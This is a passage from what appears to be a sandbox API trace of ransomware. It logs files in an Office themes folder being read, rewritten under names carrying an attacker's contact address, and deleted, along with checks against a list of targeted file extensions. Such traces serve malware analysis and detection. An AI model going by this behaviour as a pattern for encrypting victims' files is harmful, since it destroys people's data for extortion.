Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0273.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.242] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.242] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.243] GetLastError () returned 0x0 [0273.243] ReadFile (in: hFile=0x38c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x6023, lpOverlapped=0x0) returned 1 [0273.244] WriteFile (in: hFile=0x354, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x6030, lpOverlapped=0x0) returned 1 [0273.245] ReadFile (in: hFile=0x38c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.245] WriteFile (in: hFile=0x354, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0273.245] SetEndOfFile (hFile=0x354) returned 1 [0273.245] CloseHandle (hObject=0x354) returned 1 [0273.245] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.246] SetEndOfFile (hFile=0x38c) returned 1 [0273.248] CloseHandle (hObject=0x38c) returned 1 [0273.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0273.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.248] lstrlenW (lpString=".doc") returned 4 [0273.248] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.248] lstrlenW (lpString=".docx") returned 5 [0273.248] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.248] lstrlenW (lpString=".pdf") returned 4 [0273.248] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.248] lstrlenW (lpString=".xls") returned 4 [0273.249] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString=".xlsx") returned 5 [0273.249] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.249] lstrlenW (lpString=".ppt") returned 4 [0273.249] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.249] lstrlenW (lpString=".zip") returned 4 [0273.249] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString=".rar") returned 4 [0273.249] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString=".bz2") returned 4 [0273.249] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString=".7z") returned 3 [0273.249] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.249] lstrlenW (lpString=".dbf") returned 4 [0273.249] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.249] lstrlenW (lpString=".1cd") returned 4 [0273.249] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.249] lstrlenW (lpString=".jpg") returned 4 [0273.249] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.249] lstrlenW (lpString=".doc") returned 4 [0273.249] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.249] lstrlenW (lpString=".docx") returned 5 [0273.250] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.250] lstrlenW (lpString=".pdf") returned 4 [0273.250] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString=".xls") returned 4 [0273.250] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString=".xlsx") returned 5 [0273.250] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.250] lstrlenW (lpString=".ppt") returned 4 [0273.250] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.250] lstrlenW (lpString=".zip") returned 4 [0273.250] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString=".rar") returned 4 [0273.250] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString=".bz2") returned 4 [0273.250] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString=".7z") returned 3 [0273.250] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.250] lstrlenW (lpString=".dbf") returned 4 [0273.250] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.250] lstrlenW (lpString=".1cd") returned 4 [0273.250] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.250] lstrlenW (lpString=".jpg") returned 4 [0273.250] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.250] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.250] lstrlenW (lpString="Flow.eftx") returned 9 [0273.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.251] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=26648) returned 1 [0273.251] CloseHandle (hObject=0x384) returned 1 [0273.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0273.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.252] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.252] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.253] GetLastError () returned 0x0 [0273.253] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x6818, lpOverlapped=0x0) returned 1 [0273.254] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x6820, lpOverlapped=0x0) returned 1 [0273.255] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.255] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0273.256] SetEndOfFile (hFile=0x38c) returned 1 [0273.256] CloseHandle (hObject=0x38c) returned 1 [0273.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.256] SetEndOfFile (hFile=0x384) returned 1 [0273.258] CloseHandle (hObject=0x384) returned 1 [0273.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.260] lstrlenW (lpString=".doc") returned 4 [0273.260] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.260] lstrlenW (lpString=".docx") returned 5 [0273.260] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.260] lstrlenW (lpString=".pdf") returned 4 [0273.260] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.260] lstrlenW (lpString=".xls") returned 4 [0273.260] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.260] lstrlenW (lpString=".xlsx") returned 5 [0273.260] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.260] lstrlenW (lpString=".ppt") returned 4 [0273.260] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.260] lstrlenW (lpString=".zip") returned 4 [0273.261] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString=".rar") returned 4 [0273.261] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString=".bz2") returned 4 [0273.261] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString=".7z") returned 3 [0273.261] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.261] lstrlenW (lpString=".dbf") returned 4 [0273.261] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.261] lstrlenW (lpString=".1cd") returned 4 [0273.261] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.261] lstrlenW (lpString=".jpg") returned 4 [0273.261] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.261] lstrlenW (lpString=".doc") returned 4 [0273.261] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString=".docx") returned 5 [0273.261] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.261] lstrlenW (lpString=".pdf") returned 4 [0273.261] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString=".xls") returned 4 [0273.261] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.261] lstrlenW (lpString=".xlsx") returned 5 [0273.261] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.262] lstrlenW (lpString=".ppt") returned 4 [0273.262] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.262] lstrlenW (lpString=".zip") returned 4 [0273.262] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.262] lstrlenW (lpString=".rar") returned 4 [0273.262] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.262] lstrlenW (lpString=".bz2") returned 4 [0273.262] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.262] lstrlenW (lpString=".7z") returned 3 [0273.262] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.262] lstrlenW (lpString=".dbf") returned 4 [0273.262] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.262] lstrlenW (lpString=".1cd") returned 4 [0273.262] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.262] lstrlenW (lpString=".jpg") returned 4 [0273.262] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.263] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.263] lstrlenW (lpString="Foundry.eftx") returned 12 [0273.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.264] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=18226) returned 1 [0273.264] CloseHandle (hObject=0x384) returned 1 [0273.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0273.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.264] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.264] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.264] GetLastError () returned 0x0 [0273.264] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x4732, lpOverlapped=0x0) returned 1 [0273.266] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x4740, lpOverlapped=0x0) returned 1 [0273.267] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.267] WriteFile (in: hFile=0x38c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.267] SetEndOfFile (hFile=0x38c) returned 1 [0273.267] CloseHandle (hObject=0x38c) returned 1 [0273.267] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.267] SetEndOfFile (hFile=0x384) returned 1 [0273.270] CloseHandle (hObject=0x384) returned 1 [0273.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0273.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.271] lstrlenW (lpString=".doc") returned 4 [0273.271] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString=".docx") returned 5 [0273.271] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.271] lstrlenW (lpString=".pdf") returned 4 [0273.271] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString=".xls") returned 4 [0273.271] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString=".xlsx") returned 5 [0273.271] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.271] lstrlenW (lpString=".ppt") returned 4 [0273.271] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.271] lstrlenW (lpString=".zip") returned 4 [0273.271] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString=".rar") returned 4 [0273.271] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString=".bz2") returned 4 [0273.271] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.271] lstrlenW (lpString=".7z") returned 3 [0273.271] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.271] lstrlenW (lpString=".dbf") returned 4 [0273.272] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.272] lstrlenW (lpString=".1cd") returned 4 [0273.272] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.272] lstrlenW (lpString=".jpg") returned 4 [0273.272] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.272] lstrlenW (lpString=".doc") returned 4 [0273.272] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.272] lstrlenW (lpString=".docx") returned 5 [0273.272] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.272] lstrlenW (lpString=".pdf") returned 4 [0273.272] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.272] lstrlenW (lpString=".xls") returned 4 [0273.272] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.272] lstrlenW (lpString=".xlsx") returned 5 [0273.272] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.272] lstrlenW (lpString=".ppt") returned 4 [0273.273] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.273] lstrlenW (lpString=".zip") returned 4 [0273.273] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.273] lstrlenW (lpString=".rar") returned 4 [0273.273] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.273] lstrlenW (lpString=".bz2") returned 4 [0273.273] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.273] lstrlenW (lpString=".7z") returned 3 [0273.273] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.273] lstrlenW (lpString=".dbf") returned 4 [0273.273] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.273] lstrlenW (lpString=".1cd") returned 4 [0273.273] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0273.273] lstrlenW (lpString=".jpg") returned 4 [0273.273] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.273] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.273] lstrlenW (lpString="Grid.eftx") returned 9 [0273.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.274] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=18639) returned 1 [0273.275] CloseHandle (hObject=0x384) returned 1 [0273.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0273.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.275] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 